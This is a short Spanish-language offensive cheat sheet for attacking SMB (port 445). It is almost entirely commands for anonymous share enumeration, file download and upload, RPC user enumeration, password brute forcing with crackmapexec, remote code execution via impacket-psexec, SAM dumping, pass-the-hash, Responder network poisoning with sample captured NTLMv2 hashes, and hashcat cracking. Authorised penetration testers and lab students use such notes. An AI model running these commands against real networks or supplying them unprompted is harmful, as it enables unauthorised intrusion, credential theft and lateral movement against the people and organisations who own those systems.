SMB (445)

Sesiones Anónimas

terminal
$ smbclient -N -L //<IP>
Para listar recursivamente
terminal
$ smbclient -N -L -r //<IP>
Para descargar o subir archivos
terminal
$ smbmap -H <IP> --download "<ruta>"$ smbmap -H <IP> --upload "<archivo>" "<ruta>"

RpcClient

terminal
rpcclient -U '%' <IP>rpcclient $> enumdomusersrpcclient $> queryuser <RID>rpcclient $> enumdomgroupsrpcclient $> netshareenumrpcclient $> getdompwinfo

Enum4Linux

terminal
$ ./enum4linux-ng.py <IP> -A -C

Fuerza Bruta

Recomendable usar el módulo de metasploit smb/login. También usar crackmapexec (si hay !$ o algun simbolo en la lista de pass hay que escapar estos caracteres)
terminal
$ crackmapexec smb <IP> -u userlist.txt -p 'password123'

Ataques Avanzados (RCE)

PSExec

terminal
impacket-psexec administrator:'Password123!'@10.10.110.17

Crackmapexec

terminal
$ crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users$ crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam$ crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE

Responder

Envenena la red y captura hashes
terminal
responder -I <interface>
txt
[SMB] NTLMv2-SSP Username: WIN7BOX\demouser
[SMB] NTLMv2-SSP Hash: demouser::WIN7BOX:997b18cc61099ba2:3CC46296B0CCFC7A231D918AE1DAE521:010100...
Y no podriamos hacer PtH pero podemos crackearlos
terminal
$ hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt